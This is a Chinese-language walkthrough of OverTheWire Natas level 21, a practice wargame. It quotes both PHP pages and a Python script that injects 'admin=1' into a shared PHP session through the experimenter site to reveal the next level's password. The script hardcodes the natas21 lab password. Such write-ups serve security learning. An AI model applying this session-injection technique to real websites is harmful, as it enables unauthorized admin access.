8-22OverTheWire攻关过程-Natas模块21
我们打开关卡lv21,可以看到
有个提示,说是这个网页跟另外一个网页是同源的,共同使用一个seesion
点击链接
发现第二个页面
这个时候我们尝试
能不能把二个页面的session复制到第一个页面中呢?
打开BP抓包软件
首先看下源代码
<?php
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas22\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
}
}
/* }}} */
session_start();
print_credentials();
?>
<?php
session_start();
// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
foreach($_REQUEST as $key => $val) {
$_SESSION[$key] = $val;
}
}
if(array_key_exists("debug", $_GET)) {
print "[DEBUG] Session contents:<br>";
print_r($_SESSION);
}
// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";
$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
$val = $defval;
if(array_key_exists($key, $_SESSION)) {
$val = $_SESSION[$key];
} else {
$_SESSION[$key] = $val;
}
$form .= "$key: <input name='$key' value='$val' /><br>";
}
$form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';
$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";
?>
大概的思路是
查看第一个网页源码,发现主要功能就是判断session[admin]=1后显示密码。
查看第二个网页源码,虽然在改变本页的时候进行了合法性检测,但是在将提交的参数加载到session中时,并没有对提交的参数进行审核。所以我们可以在参数中注入admin=1以将其保存在session中。
我们修改参数
响应的报文
将第二个页面的phpsessid替换第一个页面的
bp修改不成功
效果不理想
我们使用python脚本
import requests
from requests.auth import HTTPBasicAuth
HOST = 'http://natas21.natas.labs.overthewire.org/index.php?debug=1'
HOST_EXP = 'http://natas21-experimenter.natas.labs.overthewire.org/index.php?debug=1'
auth = HTTPBasicAuth('natas21', 'IFekPyrQXftziDEsUr3x21sYuahypdgJ')
r = requests.get(HOST, auth=auth)
cookies = dict(PHPSESSID=r.cookies['PHPSESSID'])
data = dict(align='lol', fontsize='100%', bgcolor='yellow', submit='Update', admin='1')
r = requests.post(HOST_EXP, data=data, cookies=cookies, auth=auth)
print r.content
r = requests.get(HOST, cookies=cookies, auth=auth)
print r.content
搜索结果
记录密码
验证密码